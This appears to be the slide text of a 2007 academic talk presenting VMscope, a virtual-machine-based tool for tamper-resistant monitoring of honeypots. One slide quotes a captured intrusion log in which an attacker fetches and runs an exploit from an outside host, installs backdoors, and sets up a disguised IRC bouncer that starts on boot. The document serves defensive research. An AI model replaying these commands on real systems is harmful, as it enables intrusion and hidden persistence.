“Out-of-the-Box” Monitoring of VM-based High-Interaction Honeypots Xuxian Jiang, Xinyuan Wang Department of Information and Software Engineering George Mason University {xjiang, RAID’07, Queensland, Australia, Sep 4, 2007
Outline Motivation VMscope Enabling “Out-of-the-Box” Honeypot Monitoring Evaluation Related Work Conclusion
Motivation Promise of honeypots Providing insights into intruders’ motivations, tactics, and tools Highly concentrated datasets w/ low noise Low false-positive and false negative rate Discovering unknown vulnerabilities/exploitations Example 1: HoneyMonkey finds first zero-day exploit [Wang+ NDSS’06] Example 2: CERT advisory CA (solaris CDE subprocess control daemon – dtspcd)
Motivation Honeypot monitoring The essential component in any honeypot deployment Two main approaches (state of the art) External honeypot monitoring e.g., tcpdump, ethereal, etc Internal honeypot monitoring e.g., syslog, sebek, etc Internal External Tamper- resistance Deep Inspection Low High Yes No
Motivation: A Real-World Example Sebek – the de-facto high-interaction honeypot monitoring tool, which performs three basic tasks Observe system call activities Record Data Export Data However, it has been demonstrated that it can be detected, disabled, or completely evaded by NoSEBrEaK [Holz+, IAW’04/ BlackHat’04/Defcon 12]
Focus of This Talk “Out-of-the-Box” honeypot monitoring VMscope Internal External Deep Inspection Low High Yes No Tamper- resistance
Key idea: leveraging and extending virtualization to enable tamper-resistant, deep inspection of VM-based high- interaction honeypots Existing tools only achieve one of them, but not both Apache FirefoxIE Logger Guest OS Virtual Machine Monitor (VMM) Virtual Machine … Log VMscope Tamper-resistant Logging: VMscope is deployed completely “out-of-the-box” Tamper-resistant Logging: VMscope is deployed completely “out-of-the-box” Deep Inspection: VMscope intercepts and interprets all system call events
Apache FirefoxIE Guest OS Virtual Machine … Design (Sebek vs. VMscope) Tamper-resistant logging: In VMscope, log is not collected from inside the VM that is being monitored Logger Apache FirefoxIE OS Kernel Machine … Sebek Logger Virtual Machine Monitor (VMM) VMscope Logger
Design Deep Inspection What we can observe? Low-level events Privileged instructions, Interrupts, I/O accesses … What we want to observe? High-level events w/ semantic info Especially system calls. Virtual Machine Monitor (VMM) Guest OS Semantic Gap
Bridging the Semantic Gap Idea: leveraging the semantics associated with system call instructions e.g., invoking “exit” system call: xorl %ebx, %ebx /* ebx = 0 */ mov $0x1, %eax /* eax = 1 */ int $0x80 /* interrupt*/ Also works when interpreting the system call return values Other related issues The current process e.g., PID, UID, process name, etc Guest memory addressing
Identifying the Current Process The Linux kernel maintains a process-specific kernel stack (ESP) ESP struct task_struct in Linux 2.4 ESP struct thread_info in Linux 2.6 The Windows kernel similarly maintains a data structure, i.e., KTHREAD, for each kernel thread struct KTHREAD struct EPROCESS Works for Windows 2000/XP/2003, but with varing definitions, though
Guest Memory Addressing Inside the VM, the hardware automates the translation process Guest virtual -> guest physical Outside the VM, we need to emulate the translation process CR3 page directory page table guest physical
Outline Motivation VMscope “Out-of-the-Box” Honeypot Monitoring Evaluation Related Work Conclusion
Implementation A prototype has been implemented on top of QEMU and VMware LOCs (in C) Supporting both Linux VMs and Windows VMs (in progress) Demo (3.5mins)
Evaluation Deep Inspection Apache normal runs Apache under infections (by Slapper worms) Honeypot incidents Tamper-resistance A comparative study between Sebek and VMscope NoSEBrEaK + adore_ng (a kernel rootkit)
Deep Inspection – Apache In response to a simple web request
Deep Inspection – A Honeypot Incident Two vulnerabilities Vul 1: Apache (CERT® CA ) Vul 2: Ptrace (CERT® VU ) Deployed at 23:00pm, 01/26/2007, compromised 3 hours later PID 1562 ( sh)[sys_execve 11]: bash -i... PID 1572 ( bash)[sys_execve 11]: uname -a PID 1573 ( bash)[sys_execve 11]: id PID 1574 ( bash)[sys_execve 11]: w... PID 1632 ( bash)[sys_execve 11]: ls PID 1633 ( bash)[sys_execve 11]: wget xxxxxxx.xx.ro/soft/expl PID 1634 ( bash)[sys_execve 11]: chmod +x expl PID 1635 ( bash)[sys_execve 11]:./expl Gaining a regular account: apache 2. Escalating to the root privilege
Deep Inspection – A Honeypot Incident PID 1674 ( bash)[sys_execve 11]: wget xxxxxxx.xx.ro/soft/naky.tgz PID 1676 ( bash)[sys_execve 11]: tar -zxvf naky.tgz PID 1679 ( bash)[sys_execve 11]: chmod +x * PID 1680 ( bash)[sys_execve 11]:./install... PID 1882 ( bash)[sys_execve 11]: mkdir ". " PID 1883 ( bash)[sys_execve 11]: wget PID 1886 ( bash)[sys_execve 11]: tar xvfz bnc.tgz PID 1888 ( bash)[sys_execve 11]: rm -rf bnc.tgz PID 1889 ( bash)[sys_execve 11]: mv psybnc crond PID 1892 ( bash)[sys_execve 11]: crond PID 1894 ( bash)[sys_execve 11]: pico /etc/rc.d/rc.local 3. Installing a set of backdoors 4. Installing an IRC bot that will auto-start after machine reboot
Tamper-resistance Demo Clip (2.5 minutes):
Performance Evaluation Evaluation Environment Dell PowerEdge server 2950 running Fedora Core 5 w/ a 3.73 GHz Xeon and 4GB RAM Benchmark Applications
Related Work Honeypot monitoring External honeypot monitoring (e.g., tcpdump) Ineffective when traffic is encrypted Internal honeypot monitoring (e.g., Sebek) Could be potentially detected, disabled and evaded Other virtualization-based efforts Xebek / VMM-based sensors Not completely “out-of-the-box” Based on para-virtualization, which requires modifying the guest OS kernels Some logging components are still running inside the guest OS
Internal External Deep Inspection Low High Yes No Tamper- resistance Conclusions A new approach to monitoring VM-based high- interaction honeypots – VMscope
Thank you!